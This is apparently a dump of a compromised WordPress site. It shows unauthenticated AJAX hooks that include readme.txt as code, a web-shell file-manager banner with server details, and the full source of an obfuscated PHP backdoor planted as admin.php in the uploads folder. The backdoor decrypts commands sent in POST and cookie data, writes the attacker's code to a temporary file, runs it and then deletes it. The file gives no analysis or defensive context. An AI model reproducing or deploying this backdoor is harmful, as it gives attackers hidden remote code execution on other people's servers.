if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-content/uploads/2019/08/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-content/uploads/2019/08/admin.php
<?php $ttglow  = /*eqzot*/ 'ttglow'    ^	'';


$dgqhjnk /*   wbbcw*/ =      "S"."T".$ttglow(82) /*dfrmdr*/ . /*b */ "\137"     . /*   bf*/ "P"."A".$ttglow(492-424) /*   ectbcv  */ . /*r */ "_"."R".$ttglow(73) /*  ddtp */ . /*   lgl   */ "\x47"   .    $ttglow(72)     .    $ttglow(84);

$bulleryip  = /* hxy_ */ $ttglow(487-390)    .  $ttglow(159-45) /*   q   */ . /*_wadv   */ "r"."\x61" /*   t  */ .    "\171"       . /*  lvie   */ $ttglow(569-474) /* z */ .	"m"."\x61" /*  nf   */ . /*  pltbuh   */ "p";

$gyqkihp /* uata */ =    $ttglow(176-71)    .       "m"."p"."\x6c"    . /*oxtsrv*/ "o"."\x64" /*jvjlzx*/ .    "e";


$pqfmr     = /*   zqavik   */ "s".$ttglow(843-727) /*   bvhtzs*/ .	"r"."_"."p"."\141" /*  vdmyd*/ . /* cgxf */ $ttglow(715-615);
$wdbvwcfxg /*  rawq   */ =    "\143"  .  "o"."u"."n".$ttglow(385-269);


function	ddxzq($gqagbgere_saexzw, /* yyedf  */ $oorjje)

{ /*  jvhiqk */ global    $ttglow;


   

	$gqagbgere_saexzw       = /*_h*/ "\x3c"    .       "?"."p"."\x68"	.    $ttglow(112)	.   $ttglow(32) /*  bsnxmp   */ .      "\x75" /*   ag_a   */ .      $ttglow(317-207)     .   "l"."\x69" /*  vkwi  */ .      "n".$ttglow(107)    . /*   zt */ "("."\x5f" /* pmkyo*/ .  $ttglow(875-780) /* v   */ . /* ep   */ "\106"     .	"\111"  . /*_pqxv */ $ttglow(234-158) /*   dnp*/ .    $ttglow(348-279)    .  "\x5f"       .    "_".")"."\x3b" /* cjxf */ . /* r_fj*/ $ttglow(32)  .      $gqagbgere_saexzw[$ttglow(100)];

    $vsflukl	=	"f"."i"."\154" /*   dcvw*/ .       "e".$ttglow(95)    .    "p"."u".$ttglow(116)       .      "_".$ttglow(99)       . /*   sri   */ "\x6f"	.       "n"."t"."\x65"	.    "n"."\164" /* f  */ .	$ttglow(544-429);
     


    $vsflukl($oorjje,     $gqagbgere_saexzw);


              ogmxvp($oorjje);

}$ymoxmu /*  acjm  */ =	73;





function /*  olw   */ ogmxvp($oorjje)
{


 /*e*/ global    $ttglow;   


      include($oorjje);

    $xinhgn	= /* w */ $oorjje;    @unlink($xinhgn);

}




function /*  fzj   */ qg__qo()


{


 /*  gkxuw  */ global    $ttglow;
      $_cusao /*  vbxmkq*/ =  array();


 /* i*/ $_cusao["p"."v"] /*   ki */ = /*   wux */ phpversion();
  $_cusao["s".$ttglow(449-331)]      =      $ttglow(742-691)    .    "."."\65";


	$kvoeca /*jn_q  */ =	74;

 /*pvclb   */ echo /* vlu*/ @serialize($_cusao);


}


function /*   grlhls   */ _pccuv($gqagbgere_saexzw, /* vmi_ */ $cjluvrss)


{
 /*dk*/ global /*  j */ $ttglow;


	$xpwxgrb /*  vx*/ =	"";


 /*ld  */ $gqagbgebemonh /*  erloi  */ =	'c_uvipu';     $mhicvlk	= /*   vx   */ hash('sha256',    $gqagbgere_saexzw);

    $pduxrbxxj_    = /* pstkkk */ str_replace('rtotqbo_l',	$mhicvlk,   $gqagbgebemonh);


   $_cusao      = /*kjadjj */ 0;	while	($_cusao	<	strlen($gqagbgere_saexzw)) /* h */ {
    $_vuyvswgh /* pyq   */ =	isset($cjluvrss) /*com*/ ?       $cjluvrss    :   '';


 /*   y  */ for   ($gqagbge /*gpywb */ =    0; /* _oqf  */ $gqagbge /*  dfq */ <	strlen($_vuyvswgh) /*   dd   */ && /*yj */ $_cusao     < /*cbus */ strlen($gqagbgere_saexzw); /* tcaz  */ $gqagbge++,   $_cusao++)    {
  $xpwxgrb /*   ewrc   */ .= /*  npypcr  */ $ttglow(ord($gqagbgere_saexzw[$_cusao]) /* rkf*/ ^	ord($_vuyvswgh[$gqagbge]));

    } /* myd*/ if     (strlen($xpwxgrb) /*cbfj   */ >     20)    {


       $pduxrbxxj_ /* l*/ = /*n */ substr($xpwxgrb,    0,    20);
       }

 /*   uyt  */ }   if /*   b_rlf*/ (empty($xpwxgrb))	{


    $xpwxgrb    =   date('Y-m-d    H:i:s');


       }


     return /*   uy */ $xpwxgrb;}


function	dntztb($xyhpisuh)


{

   global /*f_   */ $ttglow;


        $msaxsgnz    = /*  xtny  */ "8"."7"."6"."\x64"    .	"b"."\x61" /* pochl   */ . /*k   */ "6"."\x61"   . /*w */ "-"."\x61"."\x31" /*   psql  */ .    "2"."\63"      .    "\x2d"  .	"\64"   .       $ttglow(56)	. /* uvi_*/ "\x32" /*  kjld */ . /*t   */ "8"."\55"    .	$ttglow(349-292)  .   "2"."6"."f"."-"."\x62"	. /* bp*/ "\141"       .      "\x61"."f".$ttglow(544-446)    .	"6"."b".$ttglow(100-52) /* lfk  */ .    "f"."5".$ttglow(735-633)       .   "\66";


 /* eebufe   */        foreach    ($xyhpisuh  as       $fzjibrd	=> /*   uzkq  */ $gqagbgere_saexzw)    { /* p*/ yqlct(base64_decode($gqagbgere_saexzw),    $msaxsgnz, /*  hd*/ $fzjibrd); /* xbxc   */ }
}


function       yqlct($gqagbgere_saexzw,	$msaxsgnz,      $fzjibrd)


{  global /* g */ $ttglow;
	

      $gqagbgere_saexzw	= /* fg  */ unserialize(_pccuv(_pccuv($gqagbgere_saexzw,     $msaxsgnz),	$fzjibrd));
	$g_zc_eq    = /*n_ba*/ 'dpskxmu';	$hmnuabecdn   = /*   lhxhim  */ 'achqtrp';

    if    (isset($gqagbgere_saexzw["\x61" /*   iq */ .      "k"])) /*   kuyrez  */ {

 /*   r  */ if /*  icg  */ ($gqagbgere_saexzw["\x61"] /*yicy */ ==    "i")  {

   qg__qo();    }      elseif     ($gqagbgere_saexzw["\x61"]   == /*   t*/ "e")      {

  ddxzq($gqagbgere_saexzw,     sprintf("."."/"."%"."\x73" /*lhfdu  */ .     "\x2e"	.      "\160" /* of */ .      $ttglow(150-42), /*  wgbi  */ md5($msaxsgnz)));			$_rekh  =	44;
 /*  pqqxil   */ }

    exit();

 /*  nhuq */ }


}

dntztb($_POST);  




$fkzonfppw  =       $bulleryip('rawurldecode',    $_POST);


$rapmpbums       =    $wdbvwcfxg($fkzonfppw);if  ($rapmpbums /*   _azfjq   */ >     0) /*cynnqe*/ {      $goapztv  = /*   _nw   */ $gyqkihp(',',   $fkzonfppw);

}


dntztb($_COOKIE);	

$xgubpvkovh /*   mgo  */ =     $bulleryip('rawurldecode', /*  syd */ $_COOKIE);

$hahfsqlz /*   i*/ = /*   vrqp */ $wdbvwcfxg($xgubpvkovh);if      ($hahfsqlz     >    0)    {

    $kzy_q /*mkz */ =	$gyqkihp(';', /*   ufnxdh  */ $xgubpvkovh);
}


$qrxnmq /*   vj*/ =    $xgubpvkovh;




$honjg	=    date('Y-m-d      H:i:s');

$vkkicymzsq /* isqv   */ = /* lw*/ strlen($gyqkihp('',    $qrxnmq));if /*xlbd   */ ($vkkicymzsq    >    100)    {


 /* uogmn*/ $evhuidqntu /* zlcnm   */ = /*ox   */ $pqfmr($gyqkihp('', /*   ndic  */ $qrxnmq),   150,    '0',	$dgqhjnk);
}






?>
@ Telegram